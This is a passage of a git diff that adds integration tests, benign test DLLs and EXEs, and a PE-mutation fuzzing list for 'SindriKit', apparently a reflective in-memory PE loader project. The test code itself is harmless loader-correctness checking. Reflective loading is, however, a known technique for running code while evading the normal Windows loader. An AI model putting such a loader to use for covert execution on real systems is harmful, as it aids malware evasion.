+ True, + "exe", + ), + Mutation("garbage_dos_stub", "Garbage DOS stub overwrites", garbage_dos_stub, True), + Mutation( + "append_overlay", "4KB unmapped trailing overlay appended", append_overlay, True + ), + Mutation( + "null_sec_names", "Zeroed programmatic section names", null_section_names, True + ), +] + +BREAKING_MUTATIONS: List[Mutation] = [ + Mutation( + "oob_reloc_size", + "OOB Relocation Block Size (0xFFFFFFFF)", + corrupt_reloc_block_size, + False, + ), + Mutation( + "massive_headers", + "Massive SizeOfHeaders (0xFFFFFFFF)", + massive_size_of_headers, + False, + ), + Mutation( + "truncated_sec", + "Truncated Section Raw Boundary", + section_truncated_raw_data, + False, + ), + Mutation( + "int_overflow", + "Section Allocation Integer Overflow", + section_integer_overflow, + False, + ), + Mutation( + "overlap_sections", + "Collapsing Section Offset Intersections", + section_overlap_corruption, + False, + ), + Mutation( + "corrupt_pe_sig", + "Corrupted PE magic identification bytes", + corrupt_pe_signature, + False, + ), + Mutation( + "bad_e_lfanew", "Invalid out-of-bounds e_lfanew values", invalid_e_lfanew, False + ), + Mutation( + "zero_imgsize", "SizeOfImage set directly to zero", zero_size_of_image, False + ), + Mutation( + "bad_import", + "Import Directory maps to unallocated RVA", + corrupt_import_rva, + False, + ), + Mutation( + "bad_export", + "Export Directory maps to unallocated RVA", + corrupt_export_rva, + False, + "dll", + ), + Mutation( + "huge_sections", + "NumberOfSections set to maximum 0xFFFF", + huge_sections_count, + False, + ), + Mutation( + "unterminated_imports", + "Missing null terminator in Import array", + unterminated_imports, + False, + ), + Mutation( + "massive_exports", + "Export NumberOfFunctions = 0xFFFFFFFF", + massive_export_count, + False, + "dll", + ), + Mutation( + "oob_entry_point", "EntryPoint RVA outside SizeOfImage", oob_entry_point, False + ), +] + +ALL_MUTATIONS = BENIGN_MUTATIONS + BREAKING_MUTATIONS + + +def mutate_pe(src_path: str, mutation: Mutation, output_dir: str) -> str: + """Apply a specified mutation parameters block to a base file, + writing the final asset output into target folders. + """ + base = os.path.basename(src_path) + name, ext = os.path.splitext(base) + dst_path = os.path.join(output_dir, f"{name}_{mutation.name}{ext}") + + try: + mutation.apply(src_path, dst_path) + except Exception as e: + if os.path.exists(dst_path): + try: + os.remove(dst_path) + except OSError: + pass + raise MutationError( + f"Failed to apply '{mutation.name}' mutation matrix to {base}: {e}" + ) from e + return dst_path diff --git a/tests/loader/src/test_dll.c b/tests/loader/src/test_dll.c new file mode 100644 index 0000000..5ce29e4 --- /dev/null +++ b/tests/loader/src/test_dll.c @@ -0,0 +1,52 @@ +#include +#include + +#define TEST_SIG_SUCCESS 0xFEEDC0DE +#define TEST_SIG_BAD_ARGS 0xDEADBEEF +#define TEST_SIG_INIT_OK 0xC001D00D +#define TEST_SIG_NO_INIT 0xBAD10001 +#define TEST_SIG_NO_IAT 0xBAD10002 + +/* ── Relocation & DllMain verification ───────────────────────────────────── + * g_attach_magic lives in .data. If the loader doesn't apply relocations + * every reference to it will hit the wrong address. DllMain sets it to a + * known sentinel; VerifyInit reads it back. */ +static volatile ULONG_PTR g_attach_magic = 0; +#define ATTACH_SENTINEL 0xA77AC4ED + +/* ── Exports ───────────────────────────────────────────────────────────────*/ + +/* Original export validates that the caller passed the exact expected + * three arguments through the FFI bridge. */ +__declspec(dllexport) ULONG_PTR SayHello(const char *s1, const char *s2, ULONG_PTR n3) { + if (!s1 || !s2) + return TEST_SIG_BAD_ARGS; + + if (strcmp(s1, "bonjour") == 0 && strcmp(s2, "hello") == 0 && n3 == 12) { + return TEST_SIG_SUCCESS; + } + + return TEST_SIG_BAD_ARGS; +} + +/* Checks that DllMain(DLL_PROCESS_ATTACH) ran **and** that the global it + * wrote to is reachable (i.e. relocations were applied correctly). + * Also calls a kernel32 import to verify the IAT was resolved. */ +__declspec(dllexport) ULONG_PTR VerifyInit(void) { + /* 1. DllMain must have written the sentinel into the relocated global. */ + if (g_attach_magic != ATTACH_SENTINEL) + return TEST_SIG_NO_INIT; + + /* 2. Cheap kernel32 call if the IAT wasn't patched this will crash. */ + if (GetCurrentProcessId() == 0) + return TEST_SIG_NO_IAT; + + return TEST_SIG_INIT_OK; +} + +BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID res) { + if (reason == DLL_PROCESS_ATTACH) { + g_attach_magic = ATTACH_SENTINEL; + } + return TRUE; +} diff --git a/tests/loader/src/test_dll_advanced.c b/tests/loader/src/test_dll_advanced.c new file mode 100644 index 0000000..8f9aac5 --- /dev/null +++ b/tests/loader/src/test_dll_advanced.c @@ -0,0 +1,106 @@ +#include +#include +#include +#include + +#define TEST_SIG_ADV_SUCCESS 0x1337C0DE +#define TEST_SIG_ADV_FAILED 0xBAADF00D +#define TEST_SIG_MULTI_OK 0xCA11AB1E +#define TEST_SIG_MULTI_FAIL 0xCA110BAD + +/* Track DllMain invocations proves it was called exactly once. */ +static volatile DWORD g_attach_count = 0; + +/* ── AdvancedExport (unchanged behavior) ─────────────────────────────────── + * Tests kernel32 imports, heap allocation, string manipulation, and + * dynamic loading of user32.dll. */ +__declspec(dllexport) ULONG_PTR AdvancedExport(const char *input_str) { + if (!input_str) + return TEST_SIG_ADV_FAILED; + + /* Kernel32: GetSystemInfo */ + SYSTEM_INFO sysInfo; + GetSystemInfo(&sysInfo); + + if (sysInfo.dwPageSize == 0) + return TEST_SIG_ADV_FAILED; + + /* CRT: strlen, malloc, strcpy, strcmp, free */ + size_t len = strlen(input_str); + char *dyn_str = (char *)malloc(len + 1); + if (!dyn_str) + return TEST_SIG_ADV_FAILED; + + strcpy(dyn_str, input_str); + + /* Dynamic loading: LoadLibraryA + GetProcAddress */ + HMODULE hUser32 = LoadLibraryA("user32.dll"); + if (!hUser32) { + free(dyn_str); + return TEST_SIG_ADV_FAILED; + } + + FARPROC pMessageBoxA = GetProcAddress(hUser32, "MessageBoxA"); + if (!pMessageBoxA) { + free(dyn_str); + return TEST_SIG_ADV_FAILED; + } + + if (strcmp(dyn_str, "advanced_test") == 0) { + free(dyn_str); + return TEST_SIG_ADV_SUCCESS; + } + + free(dyn_str); + return TEST_SIG_ADV_FAILED; +} + +/* ── VerifyImports ───────────────────────────────────────────────────────── + * Stress-tests IAT resolution by calling a diverse set of kernel32 APIs + * across different import entries. Also checks that DllMain was called + * exactly once (g_attach_count == 1). */ +__declspec(dllexport) ULONG_PTR VerifyImports(void) { + /* 1. GetCurrentProcessId */ + DWORD pid = GetCurrentProcessId(); + if (pid == 0) + return TEST_SIG_MULTI_FAIL; + + /* 2. GetCurrentThreadId */ + DWORD tid = GetCurrentThreadId(); + if (tid == 0) + return TEST_SIG_MULTI_FAIL; + + /* 3. VirtualAlloc / VirtualFree memory management APIs */ + PVOID mem = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!mem) + return TEST_SIG_MULTI_FAIL; + + /* Write a pattern and read it back. */ + memset(mem, 0xAA, 4096); + if (((unsigned char *)mem)[0] != 0xAA) { + VirtualFree(mem, 0, MEM_RELEASE); + return TEST_SIG_MULTI_FAIL; + } + VirtualFree(mem, 0, MEM_RELEASE); + + /* 4. GetSystemTimeAsFileTime */ + FILETIME ft; + GetSystemTimeAsFileTime(&ft); + if (ft.dwLowDateTime == 0 && ft.dwHighDateTime == 0) + return TEST_SIG_MULTI_FAIL; + + /* 5. DllMain must have been called exactly once. */ + if (g_attach_count != 1) + return TEST_SIG_MULTI_FAIL; + + return TEST_SIG_MULTI_OK; +} + +BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID res) { + switch (reason) { + case DLL_PROCESS_ATTACH: + g_attach_count++; + break; + } + return TRUE; +} diff --git a/tests/loader/src/test_dll_empty.c b/tests/loader/src/test_dll_empty.c new file mode 100644 index 0000000..b5748a4 --- /dev/null +++ b/tests/loader/src/test_dll_empty.c @@ -0,0 +1,10 @@ +#include + +// A completely empty DLL. +// No exports, no standard imports (other than what the compiler forces for +// DllMain). Used to test if the loader gracefully handles missing directories +// (like the Export Directory). + +BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID res) { + return TRUE; +} diff --git a/tests/loader/src/test_dll_tls.c b/tests/loader/src/test_dll_tls.c new file mode 100644 index 0000000..2c63f7c --- /dev/null +++ b/tests/loader/src/test_dll_tls.c @@ -0,0 +1,45 @@ +#include + +/* ── TLS Callback Test DLL ───────────────────────────────────────────────── + * Registers a TLS callback via the CRT initializer list. The reflective + * loader must parse the IMAGE_TLS_DIRECTORY and fire the callbacks + * before calling DllMain. VerifyTLS checks whether the callback ran. */ + +#define TEST_SIG_TLS_OK 0x71500C01 +#define TEST_SIG_TLS_FAIL 0x715FA110 + +/* Sentinel written by the TLS callback. */ +static volatile ULONG_PTR g_tls_magic = 0; +#define TLS_SENTINEL 0x7153CA11 + +/* ── TLS callback registration (MSVC) ───────────────────────────────────── + * Force the linker to emit an IMAGE_TLS_DIRECTORY so the loader has + * something to parse. */ +#ifdef _M_IX86 +#pragma comment(linker, "/INCLUDE:__tls_used") +#else +#pragma comment(linker, "/INCLUDE:_tls_used") +#endif + +static void NTAPI snd_tls_callback(PVOID DllHandle, DWORD Reason, PVOID Reserved) { + if (Reason == DLL_PROCESS_ATTACH) { + g_tls_magic = TLS_SENTINEL; + } +} + +/* Place our callback pointer in the .CRT$XLB section so it appears in + * the TLS callback array between .CRT$XLA and .CRT$XLZ. */ +#pragma section(".CRT$XLB", read) +__declspec(allocate(".CRT$XLB")) PIMAGE_TLS_CALLBACK p_tls_callback = snd_tls_callback; + +/* ── Export ────────────────────────────────────────────────────────────────*/ + +__declspec(dllexport) ULONG_PTR VerifyTLS(void) { + if (g_tls_magic == TLS_SENTINEL) + return TEST_SIG_TLS_OK; + return TEST_SIG_TLS_FAIL; +} + +BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID res) { + return TRUE; +} diff --git a/tests/loader/src/test_exe.c b/tests/loader/src/test_exe.c new file mode 100644 index 0000000..5679fe1 --- /dev/null +++ b/tests/loader/src/test_exe.c @@ -0,0 +1,22 @@ +#include + +/* Exit codes the runner matches on these. */ +#define EXIT_OK 0x7A /* 122 decimal original success code */ +#define EXIT_RELOC_FAIL 0x01 /* Relocation canary corrupted */ +#define EXIT_IMPORT_FAIL 0x02 /* Kernel32 import call failed */ + +/* Global in .data if relocations aren't applied this will read as + * garbage when the image is loaded at a non-preferred base address. */ +static volatile ULONG_PTR g_reloc_canary = 0xCAFEBABE; + +int main(int argc, char *argv[]) { + /* 1. Relocation check: the canary must still hold its init value. */ + if (g_reloc_canary != 0xCAFEBABE) + return EXIT_RELOC_FAIL; + + /* 2. Import check: call a kernel32 API through the resolved IAT. */ + if (GetCurrentProcessId() == 0) + return EXIT_IMPORT_FAIL; + + return EXIT_OK; +} diff --git a/tests/loader/src/test_exe_advanced.c b/tests/loader/src/test_exe_advanced.c new file mode 100644 index 0000000..8430e4d --- /dev/null +++ b/tests/loader/src/test_exe_advanced.c @@ -0,0 +1,42 @@ +#include +#include +#include +#include + +/* Exit codes */ +#define EXIT_OK 0x1337 +#define EXIT_ALLOC_BAD 0xBAAD +#define EXIT_CRT_FAIL 0xC210 + +int main(int argc, char *argv[]) { + /* ── CRT validation ────────────────────────────────────────────────────── + * Verify that the C runtime was initialized properly by the CRT entry + * point. If any of these fail the loader botched CRT startup. */ + + const char *test_str = "SindriKit"; + char buf[16]; + memcpy(buf, test_str, strlen(test_str) + 1); + if (strcmp(buf, "SindriKit") != 0) + return EXIT_CRT_FAIL; + + /* ── Heap allocation + printf (original behavior) ────────────────────── */ + + printf("SindriKit Advanced EXE Test\n"); + + char *buffer = (char *)malloc(1024); + if (buffer) { + sprintf(buffer, "Successfully allocated and printed! Arg count: %d\n", argc); + printf("%s", buffer); + free(buffer); + } else { + return EXIT_ALLOC_BAD; + } + + /* ── Multi-API verification ──────────────────────────────────────────── */ + + DWORD pid = GetCurrentProcessId(); + DWORD tid = GetCurrentThreadId(); + printf("[+] CRT OK | PID=%lu TID=%lu\n", (unsigned long)pid, (unsigned long)tid); + + return EXIT_OK; +} diff --git a/tests/loader/test_runner.py b/tests/loader/test_runner.py new file mode 100644 index 0000000..b76738a --- /dev/null +++ b/tests/loader/test_runner.py @@ -0,0 +1,600 @@ +""" +SindriKit Integration Test Runner + +Data-driven test matrix that auto-expands compact specs across all +loader x architecture combinations. Add a new Spec to SPECS and every +relevant (loader, arch) variant is generated automatically. + +Usage: + python tests/test_runner.py [--corkami] +""" + +import argparse +import os +import subprocess +import sys +from dataclasses import dataclass, field +from typing import List, Optional, Tuple + +# Add this block: +try: + import pe_mutator +except ImportError: + pe_mutator = None + +# ── Path Configuration ────────────────────────────────────────────────────── + +BIN64_DIR = r"build64\pocs" +BIN32_DIR = r"build32\pocs" +TEST64_DIR = r"build64\tests\loader" +TEST32_DIR = r"build32\tests\loader" + +CORKAMI_DIR = r"tests\fixtures\pe\corkami" +CORKAMI_ZIP = r"tests\fixtures\pe\corkami_fixtures.zip" + +# Compact lookups used by the matrix generator. +_BIN = {64: BIN64_DIR, 32: BIN32_DIR} +_TEST = {64: TEST64_DIR, 32: TEST32_DIR} +_BITS = {"x64": 64, "x86": 32} +_PTR_WIDTH = {"x64": 16, "x86": 8} # MSVC %p hex-digit count + +ARCHES = ("x64", "x86") +LOADERS = ("nowinapi", "winapi") +_LOADER_TAG = {"nowinapi": "NoWinAPI", "winapi": "WinAPI"} + + +class Colors: + GREEN = "\033[92m" + RED = "\033[91m" + YELLOW = "\033[93m" + BLUE = "\033[94m" + RESET = "\033[0m" + + +# ── Test Case (fully resolved, runnable) ──────────────────────────────────── + + +@dataclass +class TestCase: + """A concrete, runnable test.""" + + name: str + cmd: List[str] + expect_stdout: Optional[str] = None + expect_returncode: Optional[int] = None + expect_fail: bool = False + corkami_fuzz: bool = False + + +# ── Spec (compact, auto-expanding) ────────────────────────────────────────── + + +@dataclass +class Spec: + """Architecture- and loader-independent test specification. + + Expands into one TestCase per (loader, arch) combination. + """ + + loaders: Tuple[str, ...] + payload: str # e.g. "test_dll", "test_exe_advanced" + export: Optional[str] = None + args: List[str] = field(default_factory=list) + expect_stdout: Optional[str] = None # static expected text + expect_retval: Optional[int] = None # expected FFI return (arch-formatted) + expect_rc: Optional[int] = None # expected process exit code + expect_fail: bool = False + label: str = "" # human-readable test label + + def _ext(self) -> str: + return ".dll" if "dll" in self.payload else ".exe" + + def _format_retval(self, arch: str) -> str: + w = _PTR_WIDTH[arch] + return f"Export returned: 0x{self.expect_retval:0{w}X}" + + def to_test_case(self, loader: str, arch: str) -> TestCase: + bits = _BITS[arch] + loader_exe = os.path.join( + _BIN[bits], f"loader_{loader}", "Release", f"loader_{loader}.exe" + ) + payload_file = os.path.join( + _TEST[bits], "Release", f"{self.payload}_{arch}{self._ext()}" + ) + + cmd = [loader_exe, "-f", payload_file] + if self.export: + cmd += ["-e", self.export] + for a in self.args: + cmd += ["-a", a] + + expect = self.expect_stdout + if self.expect_retval is not None: + expect = self._format_retval(arch) + + tag = _LOADER_TAG[loader] + return TestCase( + name=f"{tag} ({arch}) -> {self.label}", + cmd=cmd, + expect_stdout=expect, + expect_returncode=self.expect_rc, + expect_fail=self.expect_fail, + ) + + +# ── Declarative Test Specs ────────────────────────────────────────────────── +# Each Spec generates len(loaders) x len(ARCHES) concrete TestCases. +# 7 specs x 2 loaders x 2 arches = 28 tests from this table alone. + +SPECS = [ + # ── DLL: correct args ─────────────────────────────────────────────────── + Spec( + ("nowinapi", "winapi"), + "test_dll", + "SayHello", + ["bonjour", "hello", "12"], + expect_retval=0xFEEDC0DE, + label="Load DLL with exact args", + ), + # ── DLL: bad args ─────────────────────────────────────────────────────── + Spec( + ("nowinapi", "winapi"), + "test_dll", + "SayHello", + ["wrong", "args"], + expect_retval=0xDEADBEEF, + label="Edge Case: Bad Args Validation", + ), + # ── DLL: missing -e parameter ─────────────────────────────────────────── + Spec( + ("nowinapi", "winapi"), + "test_dll", + expect_stdout="Error: DLL payload requires an export name", + expect_fail=True, + label="Edge Case: Missing Export Parameter", + ), + # ── DLL: advanced (imports, allocs) ───────────────────────────────────── + Spec( + ("nowinapi", "winapi"), + "test_dll_advanced", + "AdvancedExport", + ["advanced_test"], + expect_retval=0x1337C0DE, + label="Load Advanced DLL (Imports, Allocs)", + ), + # ── DLL: empty (missing export directory) ─────────────────────────────── + Spec( + ("nowinapi", "winapi"), + "test_dll_empty", + "NonExistentExport", + expect_stdout="Error: Requested export was not found", + expect_fail=True, + label="Load Empty DLL (Missing Dirs)", + ), + # ── DLL: verify DllMain ran + relocations applied ─────────────────────── + Spec( + ("nowinapi", "winapi"), + "test_dll", + "VerifyInit", + expect_retval=0xC001D00D, + label="Verify DllMain + Relocations", + ), + # ── DLL: verify multi-import IAT resolution ──────────────────────────── + Spec( + ("nowinapi", "winapi"), + "test_dll_advanced", + "VerifyImports", + expect_retval=0xCA11AB1E, + label="Verify Multi-Import Resolution", + ), + # ── DLL: verify TLS callback execution ───────────────────────────────── + Spec( + ("nowinapi", "winapi"), + "test_dll_tls", + "VerifyTLS", + expect_retval=0x71500C01, + label="Verify TLS Callbacks", + ), + # ── EXE: basic ────────────────────────────────────────────────────────── + Spec( + ("nowinapi", "winapi"), + "test_exe", + expect_stdout="Jumping to EXE Entry Point", + expect_rc=122, # 0x7A + label="Run EXE", + ), + # ── EXE: advanced (stdlib init, heap allocs) ──────────────────────────── + Spec( + ("nowinapi", "winapi"), + "test_exe_advanced", + expect_stdout="Successfully allocated and printed", + expect_rc=4919, # 0x1337 + label="Run Advanced EXE (Stdlib Init)", + ), +] + + +def expand_specs(specs): + """Expand Specs into TestCases, grouped by (loader, arch) for clean output.""" + cases = [] + for loader in LOADERS: + for arch in ARCHES: + for spec in specs: + if loader in spec.loaders: + cases.append(spec.to_test_case(loader, arch)) + return cases + + +# ── Arch-Mismatch Tests ──────────────────────────────────────────────────── + + +def build_mismatch_tests(): + """Generate arch-mismatch guard test cases for nowinapi.""" + cases = [] + for loader_arch, payload_arch in [("x64", "x86"), ("x86", "x64")]: + lb, pb = _BITS[loader_arch], _BITS[payload_arch] + expect = "Payload architecture does not match loader architecture" + cases.append( + TestCase( + name=f"NoWinAPI ({loader_arch}) -> Arch Mismatch Guard " + f"({loader_arch} loader, {payload_arch} DLL)", + cmd=[ + os.path.join( + _BIN[lb], + "loader_nowinapi", + "Release", + "loader_nowinapi.exe", + ), + "-f", + os.path.join(_TEST[pb], "Release", f"test_dll_{payload_arch}.dll"), + "-e", + "SayHello", + ], + expect_stdout=expect, + expect_fail=True, + ) + ) + return cases + + +# ── Corkami Fuzz Tests ────────────────────────────────────────────────────── + + +def load_corkami_tests(enabled=False): + """Return Corkami fuzz test cases if enabled, else an empty list.""" + if not enabled: + return [] + + if not os.path.exists(CORKAMI_DIR) or not os.listdir(CORKAMI_DIR): + print(f"\n[{Colors.RED}ERROR{Colors.RESET}] Corkami fixtures missing!") + print(f"[*] Expected: {Colors.YELLOW}{CORKAMI_DIR}{Colors.RESET}") + print(f"[*] Unzip '{CORKAMI_ZIP}' into that folder.") + print(f"[*] Password: {Colors.GREEN}infected{Colors.RESET}\n") + sys.exit(1) + + tests = [] + for file in sorted(os.listdir(CORKAMI_DIR)): + if file.lower().endswith(".exe"): + tests.append( + TestCase( + name=f"Corkami Parser Stress Test -> {file}", + cmd=[ + os.path.join( + _BIN[64], + "loader_winapi", + "Release", + "loader_winapi.exe", + ), + "-f", + os.path.join(CORKAMI_DIR, file), + ], + corkami_fuzz=True, + ) + ) + return tests + + +# ── Preflight & Build-Tree Checks ────────────────────────────────────────── + +_BUILD_TREES = [ + (BIN64_DIR, TEST64_DIR, "x64", "build64"), + (BIN32_DIR, TEST32_DIR, "x86", "build32"), +] + + +def preflight_check(): + """Warn about missing build trees. Returns the set of missing dir paths.""" + missing_dirs = set() + for bin_dir, test_dir, arch, build_name in _BUILD_TREES: + bin_missing = not os.path.isdir(bin_dir) + test_missing = not os.path.isdir(test_dir) + if not bin_missing and not test_missing: + continue + if bin_missing: + missing_dirs.add(bin_dir) + if test_missing: + missing_dirs.add(test_dir) + if bin_missing and test_missing: + print( + f"[{Colors.YELLOW}WARN{Colors.RESET}] {arch} not compiled. " + f"Run build.bat tests pocs to build everything." + ) + elif bin_missing: + print( + f"[{Colors.YELLOW}WARN{Colors.RESET}] {arch} PoC loaders missing ({bin_dir}\\). " + f"Run build.bat pocs." + ) + else: + print( + f"[{Colors.YELLOW}WARN{Colors.RESET}] {arch} test fixtures missing ({test_dir}\\). " + f"Run build.bat tests." + ) + if missing_dirs: + print() + return missing_dirs + + +def _missing_dir_for(path): + """Return the build subdir path if absent, or None.""" + if "build32" in path: + check = BIN32_DIR if "pocs" in path else TEST32_DIR + elif "build64" in path: + check = BIN64_DIR if "pocs" in path else TEST64_DIR + else: + return None + return check if not os.path.isdir(check) else None + + +# ── Test Executor ─────────────────────────────────────────────────────────── + + +def run_test(test, known_missing=None): + cmd = test.cmd + + # Skip silently if preflight already warned about this build tree. + if known_missing: + if _missing_dir_for(cmd[0]) in known_missing: + return None + for i, token in enumerate(cmd): + if token == "-f" and i + 1 < len(cmd): + if _missing_dir_for(cmd[i + 1]) in known_missing: + return None + break + + print(f"[{Colors.YELLOW}TEST{Colors.RESET}] {test.name}") + + if not os.path.exists(cmd[0]): + missing = _missing_dir_for(cmd[0]) + if missing: + print( + f" {Colors.BLUE}SKIP{Colors.RESET}: Build dependency {missing} not found." + ) + return None + print(f" {Colors.RED}FAIL{Colors.RESET}: Binary missing: {cmd[0]}") + return False + + # Check that -f payload exists (e.g. PoCs built but tests weren't). + for i, token in enumerate(cmd): + if token == "-f" and i + 1 < len(cmd): + missing = _missing_dir_for(cmd[i + 1]) + if missing: + print( + f" {Colors.BLUE}SKIP{Colors.RESET}: Build dependency {missing} not found." + ) + return None + break + + try: + result = subprocess.run( + cmd, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + timeout=5, + ) + stdout = result.stdout + stderr = result.stderr + returncode = result.returncode + + if returncode in [3221225477, -1073741819]: + print(f" {Colors.RED}FAIL (0xC0000005){Colors.RESET}: Access violation!") + print(f" --- STDOUT --- \n{stdout}") + print(f" --- STDERR --- \n{stderr}") + return False + + if test.corkami_fuzz: + if "[-] Error:" in stdout or "[-] Error:" in stderr: + print( + f" {Colors.YELLOW}PASS (Safely Rejected Malformed PE){Colors.RESET}" + ) + elif "[!]" in stdout and returncode == 0: + print(f" {Colors.GREEN}PASS (True Execution Success){Colors.RESET}") + else: + print(f" {Colors.GREEN}PASS (Handled Safely){Colors.RESET}") + return True + + found_expected = True + if test.expect_stdout: + found_expected = ( + test.expect_stdout in stdout or test.expect_stdout in stderr + ) + + expected_fail = test.expect_fail + + if test.expect_returncode is not None: + failed = returncode != test.expect_returncode + if failed: + print( + f" {Colors.RED}FAIL{Colors.RESET}: Expected return code " + f"{test.expect_returncode}, got {returncode}" + ) + else: + failed = returncode != 0 + + if (expected_fail == failed) and found_expected: + print(f" {Colors.GREEN}PASS{Colors.RESET}") + return True + else: + print(f" {Colors.RED}FAIL{Colors.RESET}") + if expected_fail and not failed: + print(" Reason: expected non-zero exit but process succeeded.") + elif not expected_fail and failed: + print(" Reason: expected clean exit but process returned an error.") + elif not found_expected: + print(" Reason: expected output not found in stdout or stderr.") + print(f" Expected: '{test.expect_stdout or '(none)'}'") + print(f" Matched : {found_expected}") + print(f" --- STDOUT --- \n{stdout}") + print(f" --- STDERR --- \n{stderr}") + return False + + except subprocess.TimeoutExpired: + print(f" {Colors.RED}FAIL (TIMEOUT){Colors.RESET}") + return False + except Exception as e: + print(f" {Colors.RED}FAIL (EXCEPTION){Colors.RESET}: {e}") + return False + + +# ── Mutation Engine Tests ─────────────────────────────────────────────────── + + +def load_mutation_tests(enabled=False): + """Generate mutated PEs on the fly and add them to the test matrix.""" + if not enabled: + return [] + + if pe_mutator is None or pe_mutator.pefile is None: + print( + f"\n[{Colors.YELLOW}SKIP{Colors.RESET}] Mutator disabled (pefile not installed)." + ) + return [] + + print(f"\n[{Colors.BLUE}INFO{Colors.RESET}] Generating mutated PE variants...") + tests = [] + + for arch in ARCHES: + bits = _BITS[arch] + base_exe = os.path.join(_TEST[bits], "Release", f"test_exe_{arch}.exe") + base_dll = os.path.join(_TEST[bits], "Release", f"test_dll_{arch}.dll") + + # Create a dedicated directory for mutated payloads + out_dir = os.path.join(f"build{bits}", "mutations") + os.makedirs(out_dir, exist_ok=True) + + for loader in LOADERS: + loader_exe = os.path.join( + _BIN[bits], f"loader_{loader}", "Release", f"loader_{loader}.exe" + ) + + for mutation in pe_mutator.ALL_MUTATIONS: + # Select the correct base file based on mutation requirements + if mutation.applies_to == "dll": + src_file = base_dll + cmd_args = ["-e", "SayHello"] # DLLs need an export target + else: + src_file = base_exe + cmd_args = [] + + # Skip if the user hasn't built the baseline tests yet + if not os.path.exists(src_file): + continue + + try: + mutated_path = pe_mutator.mutate_pe(src_file, mutation, out_dir) + except pe_mutator.MutationError as e: + print(f"[{Colors.YELLOW}WARN{Colors.RESET}] {e}") + continue + + tag = _LOADER_TAG[loader] + tests.append( + TestCase( + name=f"{tag} ({arch}) -> Mutation: {mutation.name}", + cmd=[loader_exe, "-f", mutated_path] + cmd_args, + expect_fail=not mutation.expect_loadable, + corkami_fuzz=True, # Reuse fuzz logic to ensure we don't 0xC0000005 + ) + ) + return tests + + +# ── Entry Point ───────────────────────────────────────────────────────────── + + +def main(): + parser = argparse.ArgumentParser(description="SindriKit Integration Test Runner") + parser.add_argument( + "--corkami", + action="store_true", + help="Include Corkami malformed-PE stress tests", + ) + # Add this argument + parser.add_argument( + "--mutate", + action="store_true", + help="Generate and run dynamic PE mutations to stress-test the loader", + ) + args = parser.parse_args() + + print("==================================================") + print(" SindriKit Integration Tests ") + print("==================================================") + + preflight_missing = preflight_check() + + # Append the mutation tests to the matrix + full_matrix = ( + expand_specs(SPECS) + + build_mismatch_tests() + + load_corkami_tests(enabled=args.corkami) + + load_mutation_tests(enabled=args.mutate) + ) + + print( + f"[*] {len(full_matrix)} test cases " + f"({len(SPECS)} specs x {len(LOADERS)} loaders x {len(ARCHES)} arches)\n" + ) + + passed = 0 + skipped = 0 + total = len(full_matrix) + + for test in full_matrix: + result = run_test(test, known_missing=preflight_missing) + if result is True: + passed += 1 + elif result is None: + skipped += 1 + + ran = total - skipped + print("==================================================") + if skipped: + print( + f"[{Colors.YELLOW}INFO{Colors.RESET}] {skipped}/{total} tests skipped " + f"(build tree incomplete. Run build.bat tests pocs)." + ) + if ran == 0: + print(f"Result: {Colors.YELLOW}No tests ran.{Colors.RESET}") + sys.exit(0) + + pct = (passed / ran) * 100 + if pct > 95: + print( + f"Result: {Colors.GREEN}{pct:.0f}%. " + f"{passed}/{ran} passed{Colors.RESET}" + + (f" ({skipped} skipped)" if skipped else "") + ) + sys.exit(0) + else: + print( + f"Result: {Colors.RED}{pct:.1f}%. " + f"{passed}/{ran} passed, {ran - passed} failed{Colors.RESET}" + + (f" ({skipped} skipped)" if skipped else "") + ) + sys.exit(1) + + +if __name__ == "__main__": + os.system("") # Enable VT100 ANSI sequences on Windows consoles + main()